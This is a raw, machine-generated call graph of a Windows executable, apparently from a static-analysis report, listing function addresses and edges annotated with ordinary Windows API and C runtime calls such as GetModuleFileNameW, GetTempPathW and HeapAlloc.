16131->16133 16134 7ff79d05dd2b 16133->16134 16135 7ff79d05dd0e DeleteCriticalSection 16134->16135 16136 7ff79d05dd2f 16134->16136 16135->16134 16136->16124 16141 7ff79d05dd38 16137->16141 16142 7ff79d05de22 TlsFree 16141->16142 16147 7ff79d05dd7c __vcrt_FlsAlloc 16141->16147 16143 7ff79d05ddaa LoadLibraryExW 16145 7ff79d05ddcb GetLastError 16143->16145 16146 7ff79d05de49 16143->16146 16144 7ff79d05de69 GetProcAddress 16144->16142 16145->16147 16146->16144 16148 7ff79d05de60 FreeLibrary 16146->16148 16147->16142 16147->16143 16147->16144 16149 7ff79d05dded LoadLibraryExW 16147->16149 16148->16144 16149->16146 16149->16147 16151 7ff79d07a530 16150->16151 16151->15970 16151->16151 16155 7ff79d06f4f0 16152->16155 16153 7ff79d06f543 16471 7ff79d06a884 16153->16471 16155->16153 16156 7ff79d06f596 16155->16156 16481 7ff79d06f3c8 16156->16481 16158 7ff79d06f56c 16158->15974 16588 7ff79d05c8c0 16159->16588 16162 7ff79d0536eb GetLastError 16595 7ff79d052c50 16162->16595 16163 7ff79d053710 16590 7ff79d0592f0 FindFirstFileExW 16163->16590 16167 7ff79d053706 16170 7ff79d05c5c0 _log10_special 8 API calls 16167->16170 16168 7ff79d05377d 16621 7ff79d0594b0 16168->16621 16169 7ff79d053723 16610 7ff79d059370 CreateFileW 16169->16610 16173 7ff79d0537b5 16170->16173 16173->16053 16181 7ff79d051950 16173->16181 16175 7ff79d05378b 16175->16167 16178 7ff79d052810 49 API calls 16175->16178 16176 7ff79d05374c __vcrt_FlsAlloc 16176->16168 16177 7ff79d053734 16613 7ff79d052810 16177->16613 16178->16167 16182 7ff79d0545b0 108 API calls 16181->16182 16183 7ff79d051985 16182->16183 16184 7ff79d051c43 16183->16184 16185 7ff79d057f80 83 API calls 16183->16185 16186 7ff79d05c5c0 _log10_special 8 API calls 16184->16186 16187 7ff79d0519cb 16185->16187 16188 7ff79d051c5e 16186->16188 16230 7ff79d051a03 16187->16230 17026 7ff79d060744 16187->17026 16188->15980 16188->15981 16190 7ff79d0600bc 74 API calls 16190->16184 16191 7ff79d0519e5 16192 7ff79d051a08 16191->16192 16193 7ff79d0519e9 16191->16193 17030 7ff79d06040c 16192->17030 16194 7ff79d064f78 _set_fmode 11 API calls 16193->16194 16196 7ff79d0519ee 16194->16196 17033 7ff79d052910 16196->17033 16199 7ff79d051a45 16204 7ff79d051a7b 16199->16204 16205 7ff79d051a5c 16199->16205 16200 7ff79d051a26 16201 7ff79d064f78 _set_fmode 11 API calls 16200->16201 16202 7ff79d051a2b 16201->16202 16203 7ff79d052910 54 API calls 16202->16203 16203->16230 16207 7ff79d051c80 49 API calls 16204->16207 16206 7ff79d064f78 _set_fmode 11 API calls 16205->16206 16208 7ff79d051a61 16206->16208 16209 7ff79d051a92 16207->16209 16210 7ff79d052910 54 API calls 16208->16210 16211 7ff79d051c80 49 API calls 16209->16211 16210->16230 16212 7ff79d051add 16211->16212 16213 7ff79d060744 73 API calls 16212->16213 16214 7ff79d051b01 16213->16214 16215 7ff79d051b35 16214->16215 16216 7ff79d051b16 16214->16216 16218 7ff79d06040c _fread_nolock 53 API calls 16215->16218 16217 7ff79d064f78 _set_fmode 11 API calls 16216->16217 16219 7ff79d051b1b 16217->16219 16220 7ff79d051b4a 16218->16220 16221 7ff79d052910 54 API calls 16219->16221 16222 7ff79d051b6f 16220->16222 16223 7ff79d051b50 16220->16223 16221->16230 17048 7ff79d060180 16222->17048 16225 7ff79d064f78 _set_fmode 11 API calls 16223->16225 16227 7ff79d051b55 16225->16227 16228 7ff79d052910 54 API calls 16227->16228 16228->16230 16229 7ff79d052710 54 API calls 16229->16230 16230->16190 16232 7ff79d058a2a 16231->16232 16233 7ff79d059400 2 API calls 16232->16233 16234 7ff79d058a49 GetEnvironmentVariableW 16233->16234 16235 7ff79d058a66 ExpandEnvironmentStringsW 16234->16235 16236 7ff79d058ab2 16234->16236 16235->16236 16238 7ff79d058a88 16235->16238 16237 7ff79d05c5c0 _log10_special 8 API calls 16236->16237 16240 7ff79d058ac4 16237->16240 16239 7ff79d0594b0 2 API calls 16238->16239 16241 7ff79d058a9a 16239->16241 16240->15991 16242 7ff79d05c5c0 _log10_special 8 API calls 16241->16242 16243 7ff79d058aaa 16242->16243 16243->15991 16245 7ff79d0590f5 16244->16245 17266 7ff79d058760 GetCurrentProcess OpenProcessToken 16245->17266 16248 7ff79d058760 7 API calls 16249 7ff79d059121 16248->16249 16250 7ff79d05913a 16249->16250 16251 7ff79d059154 16249->16251 16252 7ff79d0526b0 48 API calls 16250->16252 16253 7ff79d0526b0 48 API calls 16251->16253 16254 7ff79d059152 16252->16254 16255 7ff79d059167 LocalFree LocalFree 16253->16255 16254->16255 16256 7ff79d059183 16255->16256 16258 7ff79d05918f 16255->16258 17276 7ff79d052b50 16256->17276 16259 7ff79d05c5c0 _log10_special 8 API calls 16258->16259 16260 7ff79d053c55 16259->16260 16260->16035 16261 7ff79d058850 16260->16261 16262 7ff79d058868 16261->16262 16263 7ff79d05888c 16262->16263 16264 7ff79d0588ea GetTempPathW GetCurrentProcessId 16262->16264 16266 7ff79d058a20 14 API calls 16263->16266 17285 7ff79d0525c0 16264->17285 16268 7ff79d058898 16266->16268 16267 7ff79d058918 __std_exception_destroy 16279 7ff79d058955 __std_exception_destroy 16267->16279 17289 7ff79d068bd8 16267->17289 17292 7ff79d0581c0 16268->17292 16285 7ff79d059400 2 API calls 16279->16285 16293 7ff79d0589c4 __std_exception_destroy 16279->16293 16280 7ff79d05c5c0 _log10_special 8 API calls 16281 7ff79d053cbb 16280->16281 16281->16035 16281->16048 16286 7ff79d0589a1 16285->16286 16287 7ff79d0589d9 16286->16287 16288 7ff79d0589a6 16286->16288 16289 7ff79d059400 2 API calls 16288->16289 16293->16280 16295 7ff79d059422 MultiByteToWideChar 16294->16295 16297 7ff79d059446 16294->16297 16295->16297 16298 7ff79d05945c __std_exception_destroy 16295->16298 16296 7ff79d059463 MultiByteToWideChar 16296->16298 16297->16296 16297->16298 16298->16047 16311 7ff79d0533ce memcpy_s 16299->16311 16300 7ff79d05c5c0 _log10_special 8 API calls 16302 7ff79d053664 16300->16302 16301 7ff79d0535c7 16301->16300 16302->16053 16318 7ff79d0590c0 LocalFree 16302->16318 16304 7ff79d051c80 49 API calls 16304->16311 16305 7ff79d0535e2 16307 7ff79d052710 54 API calls 16305->16307 16307->16301 16310 7ff79d0535c9 16313 7ff79d052710 54 API calls 16310->16313 16311->16301 16311->16304 16311->16305 16311->16310 16312 7ff79d052a50 54 API calls 16311->16312 16316 7ff79d0535d0 16311->16316 17581 7ff79d054550 16311->17581 17587 7ff79d057e10 16311->17587 17599 7ff79d051600 16311->17599 17647 7ff79d057110 16311->17647 17651 7ff79d054180 16311->17651 17695 7ff79d054440 16311->17695 16312->16311 16313->16301 16317 7ff79d052710 54 API calls 16316->16317 16317->16301 16320 7ff79d051ca5 16319->16320 16321 7ff79d0649f4 49 API calls 16320->16321 16322 7ff79d051cc8 16321->16322 16322->15985 16324 7ff79d059400 2 API calls 16323->16324 16325 7ff79d058ba4 16324->16325 16326 7ff79d0682a8 38 API calls 16325->16326 16327 7ff79d058bb6 __std_exception_destroy 16326->16327 16327->15998 16329 7ff79d0545bc 16328->16329 16330 7ff79d059400 2 API calls 16329->16330 16331 7ff79d0545e4 16330->16331 16332 7ff79d059400 2 API calls 16331->16332 16333 7ff79d0545f7 16332->16333 17878 7ff79d066004 16333->17878 16336 7ff79d05c5c0 _log10_special 8 API calls 16337 7ff79d05392b 16336->16337 16337->15987 16338 7ff79d057f80 16337->16338 16339 7ff79d057fa4 16338->16339 16340 7ff79d05807b __std_exception_destroy 16339->16340 16341 7ff79d060744 73 API calls 16339->16341 16340->15992 16342 7ff79d057fc0 16341->16342 16342->16340 18269 7ff79d067938 16342->18269 16344 7ff79d057fd5 16344->16340 16345 7ff79d060744 73 API calls 16344->16345 16346 7ff79d06040c _fread_nolock 53 API calls 16344->16346 16345->16344 16346->16344 16348 7ff79d0600ec 16347->16348 18284 7ff79d05fe98 16348->18284 16350 7ff79d060105 16350->15987 16352 7ff79d05c8c0 16351->16352 16353 7ff79d052734 GetCurrentProcessId 16352->16353 16354 7ff79d051c80 49 API calls 16353->16354 16355 7ff79d052787 16354->16355 16356 7ff79d0649f4 49 API calls 16355->16356 16357 7ff79d0527cf 16356->16357 16358 7ff79d052620 12 API calls 16357->16358 16359 7ff79d0527f1 16358->16359 16360 7ff79d05c5c0 _log10_special 8 API calls 16359->16360 16361 7ff79d052801 16360->16361 16361->16053 16363 7ff79d059400 2 API calls 16362->16363 16364 7ff79d058b4c 16363->16364 16365 7ff79d059400 2 API calls 16364->16365 16366 7ff79d058b5c 16365->16366 16367 7ff79d0682a8 38 API calls 16366->16367 16368 7ff79d058b6a __std_exception_destroy 16367->16368 16368->16002 16370 7ff79d05c5c9 16369->16370 16371 7ff79d05c950 IsProcessorFeaturePresent 16370->16371 16372 7ff79d053ca7 16370->16372 16373 7ff79d05c968 16371->16373 16372->16110 18295 7ff79d05cb48 RtlCaptureContext 16373->18295 16379 7ff79d051c80 49 API calls 16378->16379 16380 7ff79d0544ed 16379->16380 16380->16030 16382 7ff79d051c80 49 API calls 16381->16382 16383 7ff79d054650 16382->16383 16383->16048 16385 7ff79d056dc5 16384->16385 16386 7ff79d064f78 _set_fmode 11 API calls 16385->16386 16389 7ff79d053e6c 16385->16389 16387 7ff79d056dd2 16386->16387 16388 7ff79d052910 54 API calls 16387->16388 16388->16389 16390 7ff79d057330 16389->16390 18300 7ff79d051470 16390->18300 16392 7ff79d057358 18406 7ff79d056350 16458->18406 16466 7ff79d053399 16467 7ff79d053670 16466->16467 16488 7ff79d06a5cc 16471->16488 16474 7ff79d06a8bf 16474->16158 16587 7ff79d0654dc EnterCriticalSection 16481->16587 16489 7ff79d06a5e8 GetLastError 16488->16489 16490 7ff79d06a623 16488->16490 16491 7ff79d06a5f8 16489->16491 16490->16474 16494 7ff79d06a638 16490->16494 16501 7ff79d06b400 16491->16501 16495 7ff79d06a66c 16494->16495 16496 7ff79d06a654 GetLastError SetLastError 16494->16496 16495->16474 16497 7ff79d06a970 IsProcessorFeaturePresent 16495->16497 16496->16495 16498 7ff79d06a983 16497->16498 16579 7ff79d06a684 16498->16579 16502 7ff79d06b43a FlsSetValue 16501->16502 16503 7ff79d06b41f FlsGetValue 16501->16503 16505 7ff79d06b447 16502->16505 16507 7ff79d06a613 SetLastError 16502->16507 16504 7ff79d06b434 16503->16504 16503->16507 16504->16502 16518 7ff79d06ec08 16505->16518 16507->16490 16509 7ff79d06b474 FlsSetValue 16512 7ff79d06b492 16509->16512 16513 7ff79d06b480 FlsSetValue 16509->16513 16510 7ff79d06b464 FlsSetValue 16511 7ff79d06b46d 16510->16511 16525 7ff79d06a9b8 16511->16525 16531 7ff79d06af64 16512->16531 16513->16511 16519 7ff79d06ec19 _set_fmode 16518->16519 16520 7ff79d06ec6a 16519->16520 16521 7ff79d06ec4e HeapAlloc 16519->16521 16536 7ff79d073600 16519->16536 16539 7ff79d064f78 16520->16539 16521->16519 16522 7ff79d06b456 16521->16522 16522->16509 16522->16510 16526 7ff79d06a9bd RtlFreeHeap 16525->16526 16527 7ff79d06a9ec 16525->16527 16526->16527 16528 7ff79d06a9d8 GetLastError 16526->16528 16527->16507 16529 7ff79d06a9e5 __free_lconv_num 16528->16529 16530 7ff79d064f78 _set_fmode 9 API calls 16529->16530 16530->16527 16565 7ff79d06ae3c 16531->16565 16542 7ff79d073640 16536->16542 16548 7ff79d06b338 GetLastError 16539->16548 16541 7ff79d064f81 16541->16522 16547 7ff79d070348 EnterCriticalSection 16542->16547 16549 7ff79d06b35c 16548->16549 16550 7ff79d06b379 FlsSetValue 16548->16550 16549->16550 16563 7ff79d06b369 16549->16563 16551 7ff79d06b38b 16550->16551 16550->16563 16553 7ff79d06ec08 _set_fmode 5 API calls 16551->16553 16552 7ff79d06b3e5 SetLastError 16552->16541 16554 7ff79d06b39a 16553->16554 16555 7ff79d06b3b8 FlsSetValue 16554->16555 16556 7ff79d06b3a8 FlsSetValue 16554->16556 16557 7ff79d06b3d6 16555->16557 16558 7ff79d06b3c4 FlsSetValue 16555->16558 16559 7ff79d06b3b1 16556->16559 16560 7ff79d06af64 _set_fmode 5 API calls 16557->16560 16558->16559 16561 7ff79d06a9b8 __free_lconv_num 5 API calls 16559->16561 16562 7ff79d06b3de 16560->16562 16561->16563 16564 7ff79d06a9b8 __free_lconv_num 5 API calls 16562->16564 16563->16552 16564->16552 16577 7ff79d070348 EnterCriticalSection 16565->16577 16580 7ff79d06a6be memcpy_s __FrameHandler3::FrameUnwindToEmptyState 16579->16580 16581 7ff79d06a6e6 RtlCaptureContext RtlLookupFunctionEntry 16580->16581 16582 7ff79d06a756 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 16581->16582 16583 7ff79d06a720 RtlVirtualUnwind 16581->16583 16584 7ff79d06a7a8 __FrameHandler3::FrameUnwindToEmptyState 16582->16584 16583->16582 16585 7ff79d05c5c0 _log10_special 8 API calls 16584->16585 16586 7ff79d06a7c7 GetCurrentProcess TerminateProcess 16585->16586 16589 7ff79d0536bc GetModuleFileNameW 16588->16589 16589->16162 16589->16163 16591 7ff79d05932f FindClose 16590->16591 16592 7ff79d059342 16590->16592 16591->16592 16593 7ff79d05c5c0 _log10_special 8 API calls 16592->16593 16594 7ff79d05371a 16593->16594 16594->16168 16594->16169 16596 7ff79d05c8c0 16595->16596 16597 7ff79d052c70 GetCurrentProcessId 16596->16597 16626 7ff79d0526b0 16597->16626 16599 7ff79d052cb9 16630 7ff79d064c48 16599->16630 16602 7ff79d0526b0 48 API calls 16603 7ff79d052d34 FormatMessageW 16602->16603 16605 7ff79d052d6d 16603->16605 16606 7ff79d052d7f MessageBoxW 16603->16606 16607 7ff79d0526b0 48 API calls 16605->16607 16608 7ff79d05c5c0 _log10_special 8 API calls 16606->16608 16607->16606 16609 7ff79d052daf 16608->16609 16609->16167 16611 7ff79d053730 16610->16611 16612 7ff79d0593b0 GetFinalPathNameByHandleW CloseHandle 16610->16612 16611->16176 16611->16177 16612->16611 16614 7ff79d052834 16613->16614 16615 7ff79d0526b0 48 API calls 16614->16615 16616 7ff79d052887 16615->16616 16617 7ff79d064c48 48 API calls 16616->16617 16618 7ff79d0528d0 MessageBoxW 16617->16618 16619 7ff79d05c5c0 _log10_special 8 API calls 16618->16619 16620 7ff79d052900 16619->16620 16620->16167 16622 7ff79d0594da WideCharToMultiByte 16621->16622 16623 7ff79d059505 16621->16623 16622->16623 16625 7ff79d05951b __std_exception_destroy 16622->16625 16624 7ff79d059522 WideCharToMultiByte 16623->16624 16623->16625 16624->16625 16625->16175 16627 7ff79d0526d5 16626->16627 16628 7ff79d064c48 48 API calls 16627->16628 16629 7ff79d0526f8 16628->16629 16629->16599 16632 7ff79d064ca2 16630->16632 16631 7ff79d064cc7 16634 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16631->16634 16632->16631 16633 7ff79d064d03 16632->16633 16648 7ff79d063000 16633->16648 16636 7ff79d064cf1 16634->16636 16638 7ff79d05c5c0 _log10_special 8 API calls 16636->16638 16637 7ff79d064de4 16639 7ff79d06a9b8 __free_lconv_num 11 API calls 16637->16639 16641 7ff79d052d04 16638->16641 16639->16636 16641->16602 16642 7ff79d064e0a 16642->16637 16645 7ff79d064e14 16642->16645 16643 7ff79d064db9 16646 7ff79d06a9b8 __free_lconv_num 11 API calls 16643->16646 16644 7ff79d064db0 16644->16637 16644->16643 16647 7ff79d06a9b8 __free_lconv_num 11 API calls 16645->16647 16646->16636 16647->16636 16649 7ff79d06303e 16648->16649 16654 7ff79d06302e 16648->16654 16650 7ff79d063047 16649->16650 16655 7ff79d063075 16649->16655 16652 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16650->16652 16651 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16653 7ff79d06306d 16651->16653 16652->16653 16653->16637 16653->16642 16653->16643 16653->16644 16654->16651 16655->16653 16655->16654 16659 7ff79d063a14 16655->16659 16692 7ff79d063460 16655->16692 16729 7ff79d062bf0 16655->16729 16660 7ff79d063ac7 16659->16660 16661 7ff79d063a56 16659->16661 16664 7ff79d063acc 16660->16664 16665 7ff79d063b20 16660->16665 16662 7ff79d063a5c 16661->16662 16663 7ff79d063af1 16661->16663 16666 7ff79d063a90 16662->16666 16667 7ff79d063a61 16662->16667 16752 7ff79d061dc4 16663->16752 16668 7ff79d063ace 16664->16668 16669 7ff79d063b01 16664->16669 16671 7ff79d063b37 16665->16671 16673 7ff79d063b2a 16665->16673 16677 7ff79d063b2f 16665->16677 16674 7ff79d063a67 16666->16674 16666->16677 16667->16671 16667->16674 16672 7ff79d063a70 16668->16672 16681 7ff79d063add 16668->16681 16759 7ff79d0619b4 16669->16759 16766 7ff79d06471c 16671->16766 16690 7ff79d063b60 16672->16690 16732 7ff79d0641c8 16672->16732 16673->16663 16673->16677 16674->16672 16680 7ff79d063aa2 16674->16680 16688 7ff79d063a8b 16674->16688 16677->16690 16770 7ff79d0621d4 16677->16770 16680->16690 16742 7ff79d064504 16680->16742 16681->16663 16683 7ff79d063ae2 16681->16683 16683->16690 16748 7ff79d0645c8 16683->16748 16684 7ff79d05c5c0 _log10_special 8 API calls 16685 7ff79d063e5a 16684->16685 16685->16655 16688->16690 16691 7ff79d063d4c 16688->16691 16777 7ff79d064830 16688->16777 16690->16684 16691->16690 16783 7ff79d06ea78 16691->16783 16693 7ff79d06346e 16692->16693 16694 7ff79d063484 16692->16694 16695 7ff79d0634c4 16693->16695 16696 7ff79d063ac7 16693->16696 16697 7ff79d063a56 16693->16697 16694->16695 16698 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16694->16698 16695->16655 16701 7ff79d063acc 16696->16701 16702 7ff79d063b20 16696->16702 16699 7ff79d063a5c 16697->16699 16700 7ff79d063af1 16697->16700 16698->16695 16703 7ff79d063a90 16699->16703 16704 7ff79d063a61 16699->16704 16708 7ff79d061dc4 38 API calls 16700->16708 16705 7ff79d063ace 16701->16705 16706 7ff79d063b01 16701->16706 16707 7ff79d063b2f 16702->16707 16709 7ff79d063b37 16702->16709 16710 7ff79d063b2a 16702->16710 16703->16707 16711 7ff79d063a67 16703->16711 16704->16709 16704->16711 16716 7ff79d063add 16705->16716 16718 7ff79d063a70 16705->16718 16712 7ff79d0619b4 38 API calls 16706->16712 16715 7ff79d0621d4 38 API calls 16707->16715 16727 7ff79d063b60 16707->16727 16724 7ff79d063a8b 16708->16724 16714 7ff79d06471c 45 API calls 16709->16714 16710->16700 16710->16707 16717 7ff79d063aa2 16711->16717 16711->16718 16711->16724 16712->16724 16713 7ff79d0641c8 47 API calls 16713->16724 16714->16724 16715->16724 16716->16700 16720 7ff79d063ae2 16716->16720 16719 7ff79d064504 46 API calls 16717->16719 16717->16727 16718->16713 16718->16727 16719->16724 16722 7ff79d0645c8 37 API calls 16720->16722 16720->16727 16721 7ff79d05c5c0 _log10_special 8 API calls 16723 7ff79d063e5a 16721->16723 16722->16724 16723->16655 16725 7ff79d064830 45 API calls 16724->16725 16724->16727 16728 7ff79d063d4c 16724->16728 16725->16728 16726 7ff79d06ea78 46 API calls 16726->16728 16727->16721 16728->16726 16728->16727 17009 7ff79d061038 16729->17009 16733 7ff79d0641ee 16732->16733 16795 7ff79d060bf0 16733->16795 16738 7ff79d064333 16740 7ff79d064830 45 API calls 16738->16740 16741 7ff79d0643c1 16738->16741 16739 7ff79d064830 45 API calls 16739->16738 16740->16741 16741->16688 16743 7ff79d064539 16742->16743 16744 7ff79d06457e 16743->16744 16745 7ff79d064557 16743->16745 16746 7ff79d064830 45 API calls 16743->16746 16744->16688 16747 7ff79d06ea78 46 API calls 16745->16747 16746->16745 16747->16744 16751 7ff79d0645e9 16748->16751 16749 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16750 7ff79d06461a 16749->16750 16750->16688 16751->16749 16751->16750 16753 7ff79d061df7 16752->16753 16754 7ff79d061e26 16753->16754 16756 7ff79d061ee3 16753->16756 16758 7ff79d061e63 16754->16758 16941 7ff79d060c98 16754->16941 16757 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16756->16757 16757->16758 16758->16688 16760 7ff79d0619e7 16759->16760 16761 7ff79d061a16 16760->16761 16763 7ff79d061ad3 16760->16763 16762 7ff79d060c98 12 API calls 16761->16762 16765 7ff79d061a53 16761->16765 16762->16765 16764 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16763->16764 16764->16765 16765->16688 16767 7ff79d06475f 16766->16767 16769 7ff79d064763 __crtLCMapStringW 16767->16769 16949 7ff79d0647b8 16767->16949 16769->16688 16771 7ff79d062207 16770->16771 16772 7ff79d062236 16771->16772 16774 7ff79d0622f3 16771->16774 16773 7ff79d060c98 12 API calls 16772->16773 16776 7ff79d062273 16772->16776 16773->16776 16775 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16774->16775 16775->16776 16776->16688 16778 7ff79d064847 16777->16778 16953 7ff79d06da28 16778->16953 16785 7ff79d06eaa9 16783->16785 16792 7ff79d06eab7 16783->16792 16784 7ff79d06ead7 16787 7ff79d06eae8 16784->16787 16788 7ff79d06eb0f 16784->16788 16785->16784 16786 7ff79d064830 45 API calls 16785->16786 16785->16792 16786->16784 16999 7ff79d070110 16787->16999 16790 7ff79d06eb39 16788->16790 16791 7ff79d06eb9a 16788->16791 16788->16792 16790->16792 17002 7ff79d06f910 16790->17002 16793 7ff79d06f910 _fread_nolock MultiByteToWideChar 16791->16793 16792->16691 16793->16792 16796 7ff79d060c27 16795->16796 16797 7ff79d060c16 16795->16797 16796->16797 16825 7ff79d06d66c 16796->16825 16803 7ff79d06e5e0 16797->16803 16800 7ff79d060c68 16802 7ff79d06a9b8 __free_lconv_num 11 API calls 16800->16802 16801 7ff79d06a9b8 __free_lconv_num 11 API calls 16801->16800 16802->16797 16804 7ff79d06e5fd 16803->16804 16805 7ff79d06e630 16803->16805 16806 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16804->16806 16805->16804 16807 7ff79d06e662 16805->16807 16816 7ff79d064311 16806->16816 16814 7ff79d06e775 16807->16814 16820 7ff79d06e6aa 16807->16820 16808 7ff79d06e867 16865 7ff79d06dacc 16808->16865 16810 7ff79d06e82d 16858 7ff79d06de64 16810->16858 16812 7ff79d06e7fc 16851 7ff79d06e144 16812->16851 16814->16808 16814->16810 16814->16812 16815 7ff79d06e7bf 16814->16815 16817 7ff79d06e7b5 16814->16817 16841 7ff79d06e374 16815->16841 16816->16738 16816->16739 16817->16810 16819 7ff79d06e7ba 16817->16819 16819->16812 16819->16815 16820->16816 16832 7ff79d06a514 16820->16832 16823 7ff79d06a970 _isindst 17 API calls 16824 7ff79d06e8c4 16823->16824 16826 7ff79d06d67b _set_fmode 16825->16826 16827 7ff79d06d6b7 16825->16827 16826->16827 16829 7ff79d06d69e HeapAlloc 16826->16829 16831 7ff79d073600 _set_fmode 2 API calls 16826->16831 16828 7ff79d064f78 _set_fmode 11 API calls 16827->16828 16830 7ff79d060c54 16828->16830 16829->16826 16829->16830 16830->16800 16830->16801 16831->16826 16833 7ff79d06a52b 16832->16833 16834 7ff79d06a521 16832->16834 16835 7ff79d064f78 _set_fmode 11 API calls 16833->16835 16834->16833 16836 7ff79d06a546 16834->16836 16840 7ff79d06a532 16835->16840 16837 7ff79d06a53e 16836->16837 16839 7ff79d064f78 _set_fmode 11 API calls 16836->16839 16837->16816 16837->16823 16839->16840 16874 7ff79d06a950 16840->16874 16877 7ff79d07411c 16841->16877 16845 7ff79d06e41c 16846 7ff79d06e471 16845->16846 16848 7ff79d06e43c 16845->16848 16850 7ff79d06e420 16845->16850 16930 7ff79d06df60 16846->16930 16926 7ff79d06e21c 16848->16926 16850->16816 16852 7ff79d07411c 38 API calls 16851->16852 16853 7ff79d06e18e 16852->16853 16854 7ff79d073b64 37 API calls 16853->16854 16855 7ff79d06e1de 16854->16855 16856 7ff79d06e1e2 16855->16856 16857 7ff79d06e21c 45 API calls 16855->16857 16856->16816 16857->16856 16859 7ff79d07411c 38 API calls 16858->16859 16860 7ff79d06deaf 16859->16860 16861 7ff79d073b64 37 API calls 16860->16861 16863 7ff79d06df07 16861->16863 16862 7ff79d06df0b 16862->16816 16863->16862 16864 7ff79d06df60 45 API calls 16863->16864 16864->16862 16866 7ff79d06db44 16865->16866 16867 7ff79d06db11 16865->16867 16868 7ff79d06db5c 16866->16868 16872 7ff79d06dbdd 16866->16872 16869 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16867->16869 16870 7ff79d06de64 46 API calls 16868->16870 16871 7ff79d06db3d memcpy_s 16869->16871 16870->16871 16871->16816 16872->16871 16873 7ff79d064830 45 API calls 16872->16873 16873->16871 16875 7ff79d06a7e8 _invalid_parameter_noinfo 37 API calls 16874->16875 16876 7ff79d06a969 16875->16876 16876->16837 16878 7ff79d07416f fegetenv 16877->16878 16879 7ff79d077e9c 37 API calls 16878->16879 16882 7ff79d0741c2 16879->16882 16880 7ff79d0741ef 16885 7ff79d06a514 __std_exception_copy 37 API calls 16880->16885 16881 7ff79d0742b2 16883 7ff79d077e9c 37 API calls 16881->16883 16882->16881 16886 7ff79d07428c 16882->16886 16887 7ff79d0741dd 16882->16887 16884 7ff79d0742dc 16883->16884 16888 7ff79d077e9c 37 API calls 16884->16888 16889 7ff79d07426d 16885->16889 16892 7ff79d06a514 __std_exception_copy 37 API calls 16886->16892 16887->16880 16887->16881 16890 7ff79d0742ed 16888->16890 16891 7ff79d075394 16889->16891 16896 7ff79d074275 16889->16896 16893 7ff79d078090 20 API calls 16890->16893 16894 7ff79d06a970 _isindst 17 API calls 16891->16894 16892->16889 16904 7ff79d074356 memcpy_s 16893->16904 16895 7ff79d0753a9 16894->16895 16897 7ff79d05c5c0 _log10_special 8 API calls 16896->16897 16898 7ff79d06e3c1 16897->16898 16922 7ff79d073b64 16898->16922 16899 7ff79d0746ff memcpy_s 16900 7ff79d074a3f 16901 7ff79d073c80 37 API calls 16900->16901 16908 7ff79d075157 16901->16908 16902 7ff79d0749eb 16902->16900 16905 7ff79d0753ac memcpy_s 37 API calls 16902->16905 16903 7ff79d074397 memcpy_s 16915 7ff79d074cdb memcpy_s 16903->16915 16917 7ff79d0747f3 memcpy_s 16903->16917 16904->16899 16904->16903 16906 7ff79d064f78 _set_fmode 11 API calls 16904->16906 16905->16900 16907 7ff79d0747d0 16906->16907 16909 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 16907->16909 16910 7ff79d0753ac memcpy_s 37 API calls 16908->16910 16920 7ff79d0751b2 16908->16920 16909->16903 16910->16920 16911 7ff79d075338 16912 7ff79d077e9c 37 API calls 16911->16912 16912->16896 16913 7ff79d064f78 11 API calls _set_fmode 16913->16915 16914 7ff79d064f78 11 API calls _set_fmode 16914->16917 16915->16900 16915->16902 16915->16913 16921 7ff79d06a950 37 API calls _invalid_parameter_noinfo 16915->16921 16916 7ff79d073c80 37 API calls 16916->16920 16917->16902 16917->16914 16918 7ff79d06a950 37 API calls _invalid_parameter_noinfo 16917->16918 16918->16917 16919 7ff79d0753ac memcpy_s 37 API calls 16919->16920 16920->16911 16920->16916 16920->16919 16921->16915 16923 7ff79d073b83 16922->16923 16924 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16923->16924 16925 7ff79d073bae memcpy_s 16923->16925 16924->16925 16925->16845 16925->16925 16927 7ff79d06e248 memcpy_s 16926->16927 16928 7ff79d064830 45 API calls 16927->16928 16929 7ff79d06e302 memcpy_s 16927->16929 16928->16929 16929->16850 16931 7ff79d06df9b 16930->16931 16936 7ff79d06dfe8 memcpy_s 16930->16936 16932 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 16931->16932 16933 7ff79d06dfc7 16932->16933 16933->16850 16934 7ff79d06e053 16935 7ff79d06a514 __std_exception_copy 37 API calls 16934->16935 16940 7ff79d06e095 memcpy_s 16935->16940 16936->16934 16937 7ff79d064830 45 API calls 16936->16937 16937->16934 16938 7ff79d06a970 _isindst 17 API calls 16939 7ff79d06e140 16938->16939 16940->16938 16942 7ff79d060ccf 16941->16942 16948 7ff79d060cbe 16941->16948 16943 7ff79d06d66c _fread_nolock 12 API calls 16942->16943 16942->16948 16944 7ff79d060d00 16943->16944 16945 7ff79d060d14 16944->16945 16946 7ff79d06a9b8 __free_lconv_num 11 API calls 16944->16946 16947 7ff79d06a9b8 __free_lconv_num 11 API calls 16945->16947 16946->16945 16947->16948 16948->16758 16950 7ff79d0647de 16949->16950 16951 7ff79d0647d6 16949->16951 16950->16769 16952 7ff79d064830 45 API calls 16951->16952 16952->16950 16954 7ff79d06486f 16953->16954 16955 7ff79d06da41 16953->16955 16957 7ff79d06da94 16954->16957 16955->16954 16961 7ff79d073374 16955->16961 16958 7ff79d06daad 16957->16958 16959 7ff79d06487f 16957->16959 16958->16959 16996 7ff79d0726c0 16958->16996 16959->16691 16973 7ff79d06b1c0 GetLastError 16961->16973 16964 7ff79d0733ce 16964->16954 16974 7ff79d06b1e4 FlsGetValue 16973->16974 16975 7ff79d06b201 FlsSetValue 16973->16975 16976 7ff79d06b1fb 16974->16976 16993 7ff79d06b1f1 16974->16993 16977 7ff79d06b213 16975->16977 16975->16993 16976->16975 16979 7ff79d06ec08 _set_fmode 11 API calls 16977->16979 16978 7ff79d06b26d SetLastError 16980 7ff79d06b28d 16978->16980 16981 7ff79d06b27a 16978->16981 16982 7ff79d06b222 16979->16982 16983 7ff79d06a574 __FrameHandler3::FrameUnwindToEmptyState 38 API calls 16980->16983 16981->16964 16995 7ff79d070348 EnterCriticalSection 